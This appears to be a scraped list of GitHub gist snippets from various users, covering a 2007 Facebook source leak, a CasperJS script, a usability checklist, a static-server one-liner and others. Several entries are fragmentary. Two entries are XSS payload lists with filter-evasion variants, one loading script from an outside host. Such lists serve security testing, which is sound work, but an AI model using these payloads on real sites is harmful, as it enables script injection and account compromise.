nikcub

In August 2007 a hacker found a way to expose the PHP source code on facebook.com. He retrieved two files and then emailed them to me, and I wrote about the issue:

http://techcrunch.com/2007/08/11/facebook-source-code-leaked/

It became a big deal:

http://www.techmeme.com/070812/p1#a070812p1

The two files are index.php (the homepage) and search.php (the search page)

nhoizey

/*
* Takes provided URL passed as argument and make screenshots of this page with several viewport sizes.
* These viewport sizes are arbitrary, taken from iPhone & iPad specs, modify the array as needed
*
* Usage:
* $ casperjs screenshots.js http://example.com
*/

var casper = require("casper").create();

aheckmann

===========
    mongoose version: 3.6.0rc0
========


dbname: testing_populateAdInfinitum

[ { title: 'blog 1',
    author: 
     { _id: 511bde3e3985283f25000004,

vegasje

PLEASE DO NOT USE THIS. See http://userium.com/ instead.

Usability Checklist

User Experience

• Personalized features. Currency, language, country specific deals, taxes, or delivery options are changed based on user's location.
• Registering provides value to users. For example a "Free Trial" button communicates a clear benefit, but a "Register" button doesn't. Unnecessary registration is avoided.

JohannesHoppe

<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>        
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>

willurd

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000

ichabodcole

fadeTo: (value, fadeLength)->
  fadeLength = fadeLength || @defaultfadeLength
  currentTime = @ctx.currentTime
  #time the fade should complete
  fadeTime = currentTime + fadeLength
  #set the start time
  @masterGain.gain.setValueAtTime(@userVolume, currentTime)
  @masterGain.gain.linearRampToValueAtTime(value, fadeTime)

fadeOut: (fadeLength)->

hyle

// knockout 3.0.0

ko.utils.addOrRemoveItem                        = function (array, value, included) { /* .. */ }

ko.utils.anyDomNodeIsAttachedToDocument         = function (nodes) { /* .. */ }

ko.utils.arrayFilter                            = function (array, predicate) { /* .. */ }

ko.utils.arrayFirst                             = function (array, predicate, predicateOwner) { /* .. */ }

glen-cheney

Encoding Video

Installing

Install FFmpeg with homebrew. You'll need to install it with a couple flags for webm and the AAC audio codec.

brew install ffmpeg --with-libvpx --with-libvorbis --with-fdk-aac --with-opus

rvrsh3ll

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>